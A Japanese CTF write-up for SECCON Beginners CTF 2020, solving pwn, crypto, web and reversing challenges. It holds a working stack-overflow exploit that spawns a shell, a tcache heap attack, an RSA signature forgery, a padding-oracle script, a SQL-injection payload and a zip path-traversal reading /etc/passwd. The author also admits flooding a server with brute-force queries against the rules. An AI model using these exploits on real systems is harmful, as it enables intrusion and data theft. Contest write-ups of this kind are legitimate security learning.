Beginners CTF 2020 writeup

# 概要

[Beginners CTF 2020](https://score.beginners.seccon.jp/) に1人チームで参加した。

[第3回 SECCON Beginners CTF（5月23日）登録開始しました - SECCON2019](https://www.seccon.jp/2019/seccon_beginners/seccon_beginners_ctf_2020_5_23_1400.html)

23問中14問解くことができ、2466点で34位(/1009)だった。

![Score over Time](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/869483ce-bfb4-df93-b1d5-dcfed1aedd21.png)

# 解けた問題

## Pwn

### Beginner's Stack

ELFファイルが与えられ、それが動いていると推測できるサーバーが用意された。
ELFファイルは、[tdm-gcc](https://jmeubank.github.io/tdm-gcc/)の`objdump`を用いることで、
普通に`-d`オプションを用いるだけで逆アセンブルを行えた。

また、サーバーに接続すると、以下のような出力が得られた。

```
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffdd57de700 | 0x00007f91e5a809a0 | <-- buf
                   +--------------------+
0x00007ffdd57de708 | 0x0000000000000000 |
                   +--------------------+
0x00007ffdd57de710 | 0x0000000000000000 |
                   +--------------------+
0x00007ffdd57de718 | 0x00007f91e5c99170 |
                   +--------------------+
0x00007ffdd57de720 | 0x00007ffdd57de730 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffdd57de728 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffdd57de730 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffdd57de738 | 0x00007f91e56a0b97 | <-- return address (main)
                   +--------------------+
0x00007ffdd57de740 | 0x0000000000000001 |
                   +--------------------+
0x00007ffdd57de748 | 0x00007ffdd57de818 |
                   +--------------------+

Input:
```

この情報をもとに、`buf`に適当な情報を書き込むことで`win`を呼べばよさそうである。
また、逆アセンブルの結果より、`buf`への書き込み(入力の読み込み)は`vuln`の中で行われているようである。

`return address (vuln)`の値は`main`関数内の`vuln`の呼び出しの次の命令のアドレスになるはずであり、
そこから`win`までのアドレスの差は一定だと考えられた。

```
  400849:	e8 59 ff ff ff       	callq  4007a7 <vuln>
  40084e:	48 8d 3d 40 03 00 00 	lea    0x340(%rip),%rdi        # 400b95 <_IO_stdin_used+0x45>
```

```
0000000000400861 <win>:
  400861:	55                   	push   %rbp
  400862:	48 89 e5             	mov    %rsp,%rbp
  400865:	48 83 ec 10          	sub    $0x10,%rsp
  400869:	48 89 e0             	mov    %rsp,%rax
```

これに基づき、`saved rbp (vuln)`の値を維持しつつ、
`return address (vuln)`の値を`return address (vuln)`の値に基づいて補正した`win`の位置にするようにした。

すると、

```
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
```

と出てしまった。(`hack.py`：省略)
そこで、飛ばす先を`400861`ではなく、プロローグを飛ばした`400865`にした。
すると、固まるようになってしまった。
そこで`win`の中身を調べると、`system("/bin/sh");`を実行しているようであった。
これに基づき、シェルに渡すコマンドを送って操作するようにしたところ、flagを得ることができた。

```hack2.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9001))
sock_data = ""

while "Input: " not in sock_data:
	sock_data += sock.recv(4096).decode()

print(sock_data)

rbp = 0
ret_addr = 0

for line in sock_data.split("\n"):
	if "saved rbp (vuln)" in line:
		rbp = int(line.split("|")[1].strip()[2:], 16)
	elif "return address (vuln)" in line:
		ret_addr = int(line.split("|")[1].strip()[2:], 16)

if rbp == 0 or ret_addr == 0:
	print("error!")
	sys.exit(1)

win_addr = ret_addr + 0x400865 - 0x40084e

data = b"12345678123456781234567812345678" + struct.pack("<QQ", rbp, win_addr)

sock.sendall(data)

sock.sendall(b"\n")
sock.sendall(b"pwd\n")
sock.sendall(b"ls\n")
sock.sendall(b"cat flag.txt\n")
sock.sendall(b"exit\n")

while True:
	got = sock.recv(4096)
	if got == b'':
		break
	else:
		sys.stdout.write(got.decode())

sock.close()
```

```
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
```

### Beginner's Heap

サーバーが用意されている。このサーバーでは以下のことができる。

* 領域`A`にデータを書き込む
* 領域`B`を確保し、データを書き込む
* 領域`B`を開放する
* 領域`A`のまわりの様子を表示する
* `tcache`の情報を表示する
* ヒントを出力する

また、`__free_hook`と`win`の値が提示され、`win`を呼び出せば成功であると書かれている。

試行錯誤の過程はよく覚えていないので結論だけ書くと、以下の手順で`win`を呼び出すことが可能である。

1. 領域`B`を確保し、すぐに開放する。すると`tcache`に領域`B`があった場所のアドレスが乗る。
2. 領域`A`へのデータの書き込みを用い、以下のデータを書き込む。  
   すると、なぜか`tcache`にある領域`B`があった場所のアドレスの次に`__free_hook`の値が接続される。
   * 領域`B`があった場所の8バイト前に、`0x0000000000000021` (書き込まれている値を維持)
   * 領域`B`があった場所に、提示された`__free_hook`の値
3. 領域`B`を確保する。すると`tcache`から領域`B`があった場所のアドレスが消え、`__free_hook`の値が先頭になる。
4. 領域`A`へのデータの書き込みを用い、以下のデータを書き込む。  
   すると、なぜか通常領域`B`を開放する時に行われる`tcache`の更新が行われなくなる。
   * 領域`B`があった場所の8バイト前に、`0x00000000000000C1`
   * 領域`B`があった場所に、`0x0000000000000000`
5. 領域`B`を開放する。前の手順の影響で`tcache`は変化しない。
6. 領域`B`を確保し、`win`の値を書き込む。  
   このとき、`tcache`にある`__free_hook`の値が領域`B`のアドレスとして用いられる。
7. 領域`B`を開放する。`__free_hook`に値を書き込んで`free()`したからか、`win`が呼び出される。

```
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
```

## Crypto

### R&B

Pythonのソースコードとエンコードされたflag(文字列)が与えられる。

ソースコードを読むと、エンコードは
「"rot13"をして先頭にRをつける」「"base64"をして先頭にBをつける」
の2種類の操作を適当な順番で繰り返したものであるとわかる。
"rot13"は英文字をrot13、それ以外はそのままの変換をし、"base64"はBase64エンコードをする操作であると推測し、
逆変換を行う以下のプログラムを書いた。

```decode.py
import base64

data = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

code_sa = ord("a")
code_sz = ord("z")
code_la = ord("A")
code_lz = ord("Z")

while True:
	print(data)
	if data[0] == 'R':
		next = ""
		for c in data[1:]:
			code = ord(c)
			if code_sa <= code and code <= code_sz:
				next += chr((code - code_sa + 13) % 26 + code_sa)
			elif code_la <= code and code <= code_lz:
				next += chr((code - code_la + 13) % 26 + code_la)
			else:
				next += c
		data = next
	elif data[0] == 'B':
		data = base64.b64decode(data[1:]).decode()
	else:
		break
```

```
ctf4b{rot_base_rot_base_rot_base_base}
```

### Noisy equations

Pythonのソースコードが与えられ、アクセスするとその出力が得られるサーバーが用意された。

ソースコードを読むと、「可変の乱数列とflagの内積+固定の乱数」をflagの文字数個計算し、
「可変の乱数列」と計算結果が出力されることがわかる。
これは、可変の乱数列を`coeff`、固定の乱数を`something`、計算結果を`answer`とすると、
`coeff * flag + something = answer`と表現できる。
`coeff`と`answer`は可変、`something`は固定なので、2回実行して`coeff1`と`coeff2`、`answer1`と`answer2`を得ると、
`(coeff1 - coeff2) * flag = (answer1 - answer2)`という計算で`something`を除去することができる。
あとは普通に連立方程式を解けば良い。
[big primes for you](https://bigprimes.org/)で生成した素数を用い、整数の演算で解くことにした。

```solve.py
# big primes for you https://bigprimes.org/
mod_by = 459848412004946274356306485183359857361032742491896923629585255952493922412208486825240550011238935874684326642290944063500265214123667249152728042146109455850538580161790983896495562413130932101198508814722197148994345953602613606320984766332108361272858404562217425163294023722198155630685698344687

import sys

def inv(value):
	ppl = mod_by
	ppr = 0
	pl = value
	pr = 1

	while pl > 1:
		keisu = ppl // pl
		nl = ppl % pl
		nr = (ppr - pr * keisu) % mod_by

		ppl = pl
		pl = nl
		ppr = pr
		pr = nr

	if pl == 1:
		return pr
	else:
		print("error")
		sys.exit(1)

def read_file(file):
	f = open(file, "r")
	ret = f.readlines()
	f.close()
	return ret

data1 = read_file("data1.txt" if len(sys.argv) < 2 else sys.argv[1])
data2 = read_file("data2.txt" if len(sys.argv) < 3 else sys.argv[2])

coeffs1 = [[int(x) for x in y.split(", ")] for y in data1[0].strip()[2:-2].split("], [")]
coeffs2 = [[int(x) for x in y.split(", ")] for y in data2[0].strip()[2:-2].split("], [")]

answers1 = [int(x) for x in data1[1].strip()[1:-1].split(", ")]
answers2 = [int(x) for x in data2[1].strip()[1:-1].split(", ")]

coeffs = [[(coeffs1[i][j] - coeffs2[i][j]) % mod_by for j in range(len(coeffs1[i]))] for i in range(len(coeffs1))]
answers = [(answers1[i] - answers2[i]) % mod_by for i in range(len(answers1))]

for i in range(len(coeffs)):
	if coeffs[i][i] == 0:
		print("bad luck")
		sys.exit(1)
	inv_value = inv(coeffs[i][i])
	if (coeffs[i][i] * inv_value) % mod_by != 1:
		print("bug")
		sys.exit(1)
	for j in range(len(coeffs[i])):
		coeffs[i][j] = (coeffs[i][j] * inv_value) % mod_by
	answers[i] = (answers[i] * inv_value) % mod_by
	for j in range(i + 1, len(coeffs)):
		value = coeffs[j][i]
		for k in range(len(coeffs[j])):
			coeffs[j][k] = (coeffs[j][k] - coeffs[i][k] * value) % mod_by
		answers[j] = (answers[j] - answers[i] * value) % mod_by

for i in range(len(coeffs) - 1, -1, -1):
	for j in range(i - 1, -1, -1):
		answers[j] = (answers[j] - answers[i] * coeffs[j][i]) % mod_by

print(answers)

answer2 = ""
for a in answers:
	answer2 += chr(a)

print(answer2)
```

```
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
```

### RSA Calc

Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。

サーバーには Sign / Exec / Exit のメニューがあった。
Signを選ぶと、文字列を入力してそれに対応するデータ(signature)を得ることができるが、
`F`または`1337`を含む文字列は弾かれるようであった。

Execを選ぶと、カンマ区切りの逆ポーランド記法の式の計算ができるようであった。
そして、これを用い、`F(1337)`すなわち`1337,F`の計算をすればflagが得られるようであった。
また、式とともにsignatureの入力も要求され、式とsignatureが対応したものでなければ弾かれるようであった。

したがって、直接入力せずに`1337,F`に対応するsignatureを求められればいいことがわかる。
なお、`1337`は計算で作れそうであるが、`F`は厳しそうである。

生成の仕組みを詳しく見ていく。
接続すると、最初に`N`の値が出力される。
signatureの生成は、dataを入力文字列の数値表現として、`signature = (data ** d) mod N`である。
[RSA暗号運用でやってはいけない n のこと #ssmjp](https://www.slideshare.net/sonickun/rsa-n-ssmjp)
を参考にすると、これは`m = (c ^ d) mod N`の形であり、(ほぼ)任意の`c`に対応する`m`を求めることができるので、
[LSB Decryption Oracle Attack](http://inaz2.hatenablog.com/entry/2016/11/09/220529)が使えそうだと思った。
しかし、よく見ると`m`の偶奇だけではなく全体が得られるため、
[RSAに対する適応的選択暗号文攻撃とパディング方式 - ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2016/01/26/222303)
で紹介されているように、適当な係数`X`を用意することで、`(X*data)**d == (X**d) * (data**d)`なので、
`Y = (X ** d) mod N`および`Z = ((X*data) ** d) mod N`を用いて`signature = Z / Y`で求めることができる。
このとき、今回modを取る割る数は素数ではないので、
`Y`の逆元を[拡張ユークリッドの互除法](https://noshi91.hatenablog.com/entry/2019/10/18/182935)で求めて掛けることで割り算を行う。

```decode.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
sock_buffer = ""

def sock_readline():
	global sock_buffer
	while "\n" not in sock_buffer:
		sock_buffer += sock.recv(4096).decode()
	splitted = sock_buffer.split("\n", 2)
	sock_buffer = splitted[1] if len(splitted) > 1 else ""
	return splitted[0]

n_line = sock_readline()
if n_line[0:3] != "N: ":
	print("received following line instead of N:")
	print(n_line)
	sock.close()
	sys.exit(1)

N = int(n_line[3:])

def get_decoded(enc):
	string_version = b""
	enc2 = enc
	while enc2 > 0:
		string_version = struct.pack("B", enc2 & 0xff) + string_version
		enc2 >>= 8
	if b'\n' in string_version or b'\r' in string_version:
		print("error: newline in encoded")
		sock.close()
		sys.exit(1)
	# nazeka wakete nagete agenaito katamaru
	sock.sendall(b'1\n')
	sock.sendall(string_version + b'\n')
	while True:
		line = sock_readline()
		if "Signature: " in line:
			return int(line.split("Signature: ")[-1], 16)

e = 65537
c = 0x313333372C46 # 1337,F

mult = 0xdeadbeef

mult_sig = get_decoded(mult)
multed_sig =get_decoded(mult * c)

# multed_sig / mult_sig (mod N)

ppl = N
ppr = 0
pl = mult_sig
pr = 1

while pl > 1:
	keisu = ppl // pl
	nl = ppl % pl
	nr = (ppr - pr * keisu) % N

	ppl = pl
	pl = nl
	ppr = pr
	pr = nr

if pl == 1:
	print(hex(multed_sig * pr % N))
else:
	print("error")

sock.close()
```

```
ctf4b{SIgn_n33ds_P4d&H4sh}
```

### Encrypter

WebページのURLが与えられた。

Webページには Encrypt / Decrypt / Encrypted flag の3機能があるようだった。

Encryptを指定してEncrypt/Decryptボタンを押すと、base64と思われる文字列が出力された。
この出力文字列は、Inputの文字列がある程度長くなるごとに長くなるようだった。
また、出力される文字列はInputの文字列が同じでも毎回変わった。
base64デコードした時の長さは16バイトの倍数になっているようであった。

Encrypted flagを指定してEncrypt/Decryptボタンを押すと、Encryptと同様の文字列が出力された。
この出力文字列の長さはInputによらず一定と推測でき、文字通り暗号化されたflagであると予想できた。

Decryptは、InputにEncryptやEncrypted flagで出力された文字列を入れてEncrypt/Decryptボタンを押すと、
"ok. TODO: return the result without the flag"と出力された。
また、Inputの文字列を少し変えてみたとき、文字列の前の方を書き換えても同じメッセージが出るが、
後ろの方を書き換えると"error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt"と出るようであった。

「EVP_DecryptFinal_ex」でググった結果、
[OpenSSLを使った暗号化 - kkAyatakaのメモ帳。](https://kkayataka.hatenablog.com/entry/2015/10/24/174356)
などが見つかった。
このサイトではAESを使っているようだったので、問題で使われているのもAESの可能性があると考えた。
もしAESが使われており、後ろの方を書き換えたときだけエラーになるのがパディングが壊れているからであるとすれば、
[Padding Oracle Attack](http://rintaro.hateblo.jp/entry/2017/12/31/174327)が使えそうだと思った。

WebページのHTMLより、このサイトの操作は`/encrypt.php`に`POST`しており、
開発者ツールよりデータはJSON形式で投げていることがわかった。
そこで、それに基づいて実装を行った。

```hoge2.pl
#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use MIME::Base64;

my $host = "encrypter.quals.beginners.seccon.jp";
my $port = 80;

my $addr = sockaddr_in($port, inet_aton($host));

my $sock;
socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
connect($sock, $addr) or die;
binmode($sock);
select($sock); $| = 1; select(STDOUT); # no buffering

sub decode {
	my $data = $_[0];
	my $encoded = encode_base64($data);
	chomp($encoded);
	my $data2 = "{\"mode\":\"decrypt\",\"content\":\"$encoded\"}";

	print $sock "POST /encrypt.php HTTP/1.0\r\n";
	print $sock "Host: $host\r\n";
	print $sock "Connection: keep-alive\r\n";
	print $sock "Content-Length: " . length($data2) . "\r\n";
	print $sock "\r\n";
	print $sock $data2;

	my $ret = "";
	for(;;) {
		my $buffer;
		read $sock, $buffer, 1;
		$ret .= $buffer;
		if ($ret =~ /Content-Length:\s*(\d+)\r\n/i && index($ret, "\r\n\r\n") >= 0) {
			my $elen = int($1);
			my $alen = length($ret) - index($ret, "\r\n\r\n") - 4;
			if ($alen >= $elen) { last; }
		}
	}

	if ($ret =~ /Connection:\s*close/i) {
		close $sock;
		socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
		connect($sock, $addr) or die;
		binmode($sock);
		select($sock); $| = 1; select(STDOUT); # no buffering
	}

	return $ret;
}

# "hello, world" -> aGVsbG8sIHdvcmxk
#my $data = decode_base64("1m0xfX+ht1MCvxmS0gDh7H2KNgh4TXwfZLVfIxYjDTE=");

# Encrypted flag
my $data = decode_base64("MOzlrluinL7hPRVRGTt55J7csZ9Lutik6Vnuqu2NbLbHvwoe3MGgtdrjXbTqxP09o8D4UBZork0fle5qY6PIiQ==");

my $start_time = time;

my @data_array = unpack("C*", $data);
my @decoded_array = ();
my @orig_array = ();
for (my $i = 0; $i < @data_array - 16; $i++) {
	push(@orig_array, $data_array[$i]);
	push(@decoded_array, 0);
}

for (my $offset = 0; $offset < @decoded_array; $offset += 16) {
	for (my $p = 15; $p >= 0; $p--) {
		for (my $i = $p + 1; $i < 16; $i++) {
			$data_array[$offset + $i] = $data_array[$offset + $i] ^ (16 - ($p + 1)) ^ (16 - $p);
		}
		my $found = -1;
		my $multi = 0;
		for (my $i = 0; $i < 256; $i++) {
			$data_array[$offset + $p] = $i;
			my $data_str = pack("C*", @data_array);
			my $test = &decode(substr($data_str, $offset, 32));
			if (index($test, "TODO") >= 0) {
				if ($found < 0) { $found = $i; } else { $multi = 1; }
			}
		}
		if ($found < 0) {
			die "not found\n";
		}
		if ($multi != 0) {
			if ($p == 15) {
				print "multiple found, retry...\n";
				$data_array[$offset + $p - 1] = ($data_array[$offset + $p - 1] + 1) % 256;
				$p++;
				next;
			} else {
				die "multiple found\n";
			}
		}
		$data_array[$offset + $p] = $found;
		$decoded_array[$offset + $p] = (16 - $p) ^ $orig_array[$offset + $p] ^ $found;
		printf("%d / %d found\n", $offset + (16 - $p), @data_array - 16);
	}
}

close $sock;

my $pad = $decoded_array[@decoded_array - 1];
if ($pad > 16 || $pad == 0) {
	die "padding error\n";
} else {
	for (my $i = 1; $i <= $pad; $i++) {
		if ($decoded_array[@decoded_array - $i] != $pad) {
			die "padding error\n";
		}
	}
}

my $result = substr(pack("C*", @decoded_array), 0, @decoded_array - $pad);

print "\n$result\n";

printf("\ntook %ds\n", time() - $start_time);
```

このプログラムにより、約12分でflagが求まった。
行儀が悪かったりエラー処理が甘かったりする気がするが、今回は動いたのでヨシ！
また、keep-aliveを使用することで、毎回closeしていた`hoge.pl`(省略)に比べて約2倍速くなった。

とはいえ、「リモートから総当たりをしないと解けない問題はありません。」という条件があるにもかかわらず、
このような総当りを行ってしまい、テストも含めて数万発程度？のクエリを投げつけてしまったのはおかしいのでは…？
他に解く人が少なそうな深夜に行ったし、障害も報告されていないようなのでヨ……………シ……………？？？？？

```
ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}
```

## Web

### Spy

Webページのソースコードとユーザー名の候補リストが与えられるので、
Webページに存在するユーザー名の集合を当てる問題。

ソースコードを読むと、ユーザー名が存在する場合、
かつその場合のみ"adds salt and performs stretching so many times."をしている。
これは時間がかかりそうな処理である。
さらに、Webページではご丁寧に処理にかかった時間[sec]も表示してくれている。

ユーザー名ごとにこの時間(それぞれ1回試行)をまとめると、以下のようになった。

```
Arthur          0.0003479
Barbara         0.0003055
Christine       0.0003229
David           0.0002289
Elbert          0.6258968
Franklin        0.0002851
George          0.4262376
Harris          0.0002954
Ivan            0.0002989
Jane            0.0003361
Kevin           0.0003196
Lazarus         0.3334227
Marc            0.3122703
Nathan          0.0003351
Oliver          0.0002938
Paul            0.0002858
Quentin         0.0002866
Randolph        0.0003246
Scott           0.0003313
Tony            0.5475676
Ulysses         0.0003235
Vincent         0.0003615
Wat             0.0003503
Ximena          0.6145919
Yvonne          0.3931053
Zalmon          0.0002842
```

このうち明らかに時間が長くなっているものを集めた
`{Elbert, George, Lazarus, Marc, Tony, Ximena, Yvonne}`が答えである。

```
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
```

### Tweetstore

WebページのURLと、そのソースコードと考えられるファイルが与えられた。

ソースコードを見ると、postgresを使っており、DBのユーザー名がflagになっているようであった。
また、クエリは`'`を`\'`に置換しただけで文字列を直接SQL文に埋め込んでいた。
そのため、クエリに`\'`を含めることで、この置換により`\\'`となり、文字列を切ることが可能となる。

純正のSQLの一部が

```
	var sql = "select url, text, tweeted_at from tweets"
```

となっているのに合わせ、
検索クエリを例えば`\' union select text, url, tweeted_at from tweets --`とすることで、
おかしい検索結果を出すことが可能になった。

postgreでユーザー名を調べる方法を探したところ、
[PostgreSQL/PostgreSQLのユーザ一覧情報を参照する方法 - 調べる.DB](https://db.just4fun.biz/?PostgreSQL/PostgreSQL%E3%81%AE%E3%83%A6%E3%83%BC%E3%82%B6%E4%B8%80%E8%A6%A7%E6%83%85%E5%A0%B1%E3%82%92%E5%8F%82%E7%85%A7%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95)
があった。
しかし、以下の検索クエリは成功しなかった。

* `\' union select usename, usename, usename  from pg_user --`
* ` \' union select usename, usesysid, passwd from pg_shadow --`

他の方法を探すと、[その他の関数](https://www.postgresql.jp/document/7.3/user/functions-misc.html)があった。
これを用い、`\' union select text, user, tweeted_at from tweets --`というクエリを用いることで、
ユーザー名(flag)を出すことに成功した。

```
ctf4b{is_postgres_your_friend?}
```

### unzip

WebページのURLと、そのソースコードと考えられるファイルが与えられた。

ソースコードを見ると、そのセッションで展開したファイル名のファイルのみを見られるようになっているようだった。
例えばファイル`123456789012345678901.txt`(中身は空)を入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
`../../../../../etc/passwd`に書き換えてアップロードすることで、`/etc/passwd`の内容を見ることができた。

さらに、途中でヒントとして`docker-compose.yml`が追加された。
その中に

```
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
```

という部分があったため、flagは`/flag.txt`にあると予想できた。
そこで、空のファイル`aabaabaabaabaabflag.txt`を入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
`../../../../../flag.txt`に書き換えてアップロードすることで、`/flag.txt`の内容を見ることができた。

```
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
```

## Reversing

### mask

ELFファイルが与えられた。
[tdm-gcc](https://jmeubank.github.io/tdm-gcc/)の`objdump`を用いることで、
普通に`-d`オプションを用いるだけで逆アセンブルを行えた。

```
    11cd:	48 8d 85 30 ff ff ff 	lea    -0xd0(%rbp),%rax
    11d4:	48 89 d6             	mov    %rdx,%rsi
    11d7:	48 89 c7             	mov    %rax,%rdi
    11da:	e8 51 fe ff ff       	callq  1030 <strcpy@plt>
    11df:	48 8d 85 30 ff ff ff 	lea    -0xd0(%rbp),%rax
    11e6:	48 89 c7             	mov    %rax,%rdi
    11e9:	e8 62 fe ff ff       	callq  1050 <strlen@plt>
    11ee:	89 85 2c ff ff ff    	mov    %eax,-0xd4(%rbp)
```

`strcpy()`と`strlen()`を使っていることから、`0xd0`に入力文字列、`0xd4`にその長さを格納していると推測できる。

```
    1200:	c7 85 28 ff ff ff 00 	movl   $0x0,-0xd8(%rbp)
    1207:	00 00 00 
    120a:	eb 4c                	jmp    1258 <main+0xdf>
    120c:	8b 85 28 ff ff ff    	mov    -0xd8(%rbp),%eax
    1212:	48 98                	cltq   
    1214:	0f b6 84 05 30 ff ff 	movzbl -0xd0(%rbp,%rax,1),%eax
    121b:	ff 
    121c:	83 e0 75             	and    $0x75,%eax
    121f:	89 c2                	mov    %eax,%edx
    1221:	8b 85 28 ff ff ff    	mov    -0xd8(%rbp),%eax
    1227:	48 98                	cltq   
    1229:	88 94 05 70 ff ff ff 	mov    %dl,-0x90(%rbp,%rax,1)
    1230:	8b 85 28 ff ff ff    	mov    -0xd8(%rbp),%eax
    1236:	48 98                	cltq   
    1238:	0f b6 84 05 30 ff ff 	movzbl -0xd0(%rbp,%rax,1),%eax
    123f:	ff 
    1240:	83 e0 eb             	and    $0xffffffeb,%eax
    1243:	89 c2                	mov    %eax,%edx
    1245:	8b 85 28 ff ff ff    	mov    -0xd8(%rbp),%eax
    124b:	48 98                	cltq   
    124d:	88 54 05 b0          	mov    %dl,-0x50(%rbp,%rax,1)
    1251:	83 85 28 ff ff ff 01 	addl   $0x1,-0xd8(%rbp)
    1258:	8b 85 28 ff ff ff    	mov    -0xd8(%rbp),%eax
    125e:	3b 85 2c ff ff ff    	cmp    -0xd4(%rbp),%eax
    1264:	7c a6                	jl     120c <main+0x93>
    1266:	8b 85 2c ff ff ff    	mov    -0xd4(%rbp),%eax
    126c:	48 98                	cltq   
    126e:	c6 84 05 70 ff ff ff 	movb   $0x0,-0x90(%rbp,%rax,1)
    1275:	00 
    1276:	8b 85 2c ff ff ff    	mov    -0xd4(%rbp),%eax
    127c:	48 98                	cltq   
    127e:	c6 44 05 b0 00       	movb   $0x0,-0x50(%rbp,%rax,1)
```

`0xd8`をループカウンタとして、入力文字列と`0x75`をandしたデータを`0x90`に、
入力文字列と`0xeb`をandしたデータを`0x50`に格納していることが読み取れる。

```
    129e:	48 8d 85 70 ff ff ff 	lea    -0x90(%rbp),%rax
    12a5:	48 8d 35 81 0d 00 00 	lea    0xd81(%rip),%rsi        # 202d <_IO_stdin_used+0x2d>
    12ac:	48 89 c7             	mov    %rax,%rdi
    12af:	e8 bc fd ff ff       	callq  1070 <strcmp@plt>
    12b4:	85 c0                	test   %eax,%eax
    12b6:	75 25                	jne    12dd <main+0x164>
    12b8:	48 8d 45 b0          	lea    -0x50(%rbp),%rax
    12bc:	48 8d 35 88 0d 00 00 	lea    0xd88(%rip),%rsi        # 204b <_IO_stdin_used+0x4b>
    12c3:	48 89 c7             	mov    %rax,%rdi
    12c6:	e8 a5 fd ff ff       	callq  1070 <strcmp@plt>
    12cb:	85 c0                	test   %eax,%eax
    12cd:	75 0e                	jne    12dd <main+0x164>
    12cf:	48 8d 3d 93 0d 00 00 	lea    0xd93(%rip),%rdi        # 2069 <_IO_stdin_used+0x69>
    12d6:	e8 65 fd ff ff       	callq  1040 <puts@plt>
    12db:	eb 0c                	jmp    12e9 <main+0x170>
    12dd:	48 8d 3d a0 0d 00 00 	lea    0xda0(%rip),%rdi        # 2084 <_IO_stdin_used+0x84>
    12e4:	e8 57 fd ff ff       	callq  1040 <puts@plt>
```

上記の操作で得られた文字列をあらかじめ決められた文字列と比較し、その結果に応じて文字列を出力している。
2回の比較のいずれかで不一致が出れば`12dd`にジャンプして`2084`の文字列を出力し、
両方一致すれば`2069`の文字列を出力する。
ここで用いられている文字列は、ELFファイルからバイナリエディタで読み取ると、それぞれ

```
202d : atd4`qdedtUpetepqeUdaaeUeaqau
204b : c`b bk`kj`KbababcaKbacaKiacki
2069 : Correct! Submit your FLAG.
2084 : Wrong FLAG. Try again.
```

であった。よって、2個の文字列が一致するような入力がflagであると予想できる。
これに基づき、該当する入力を全探索するプログラムを書いた。

```calc.c
#include <stdio.h>

int main(void) {
	const char* a = "atd4`qdedtUpetepqeUdaaeUeaqau";
	const char* b = "c`b bk`kj`KbababcaKbacaKiacki";
	int am = 0x75, bm = 0xeb;
	int i;
	for (i = 0; a[i] != '\0' && b[i] != '\0'; i++) {
		int answer = -1;
		int multi = 0;
		int j;
		for (j = 0; j < 256; j++) {
			if ((j & am) == (unsigned char)a[i] && (j & bm) == (unsigned char)b[i]) {
				if (answer < 0) {
					answer = j;
				} else {
					if (!multi) printf("[MULTIPLE]");
					multi = 1;
				}
			}
		}
		if (answer < 0) {
			printf("[NONE]");
		} else {
			putchar(answer);
		}
	}
	putchar('\n');
	return 0;
}
```

```
ctf4b{dont_reverse_face_mask}
```

### yakisoba

ELFファイルが与えられた。
[tdm-gcc](https://jmeubank.github.io/tdm-gcc/)の`objdump`を用いることで、
普通に`-d`オプションを用いるだけで逆アセンブルを行えた。

```
     6af:	48 8d 3d 45 0a 00 00 	lea    0xa45(%rip),%rdi        # 10fb <__cxa_finalize@plt+0xa8b>
     6b6:	31 c0                	xor    %eax,%eax
     6b8:	48 89 ee             	mov    %rbp,%rsi
     6bb:	e8 a0 ff ff ff       	callq  660 <__isoc99_scanf@plt>
     6c0:	85 c0                	test   %eax,%eax
     6c2:	74 1a                	je     6de <__cxa_finalize@plt+0x6e>
     6c4:	48 89 ef             	mov    %rbp,%rdi
     6c7:	e8 54 01 00 00       	callq  820 <__cxa_finalize@plt+0x1b0>
     6cc:	85 c0                	test   %eax,%eax
     6ce:	89 c3                	mov    %eax,%ebx
     6d0:	75 25                	jne    6f7 <__cxa_finalize@plt+0x87>
     6d2:	48 8d 3d 2e 0a 00 00 	lea    0xa2e(%rip),%rdi        # 1107 <__cxa_finalize@plt+0xa97>
     6d9:	e8 52 ff ff ff       	callq  630 <puts@plt>
     6de:	48 8b 54 24 28       	mov    0x28(%rsp),%rdx
     6e3:	64 48 33 14 25 28 00 	xor    %fs:0x28,%rdx
     6ea:	00 00 
     6ec:	89 d8                	mov    %ebx,%eax
     6ee:	75 17                	jne    707 <__cxa_finalize@plt+0x97>
     6f0:	48 83 c4 38          	add    $0x38,%rsp
     6f4:	5b                   	pop    %rbx
     6f5:	5d                   	pop    %rbp
     6f6:	c3                   	retq   
     6f7:	48 8d 3d 02 0a 00 00 	lea    0xa02(%rip),%rdi        # 1100 <__cxa_finalize@plt+0xa90>
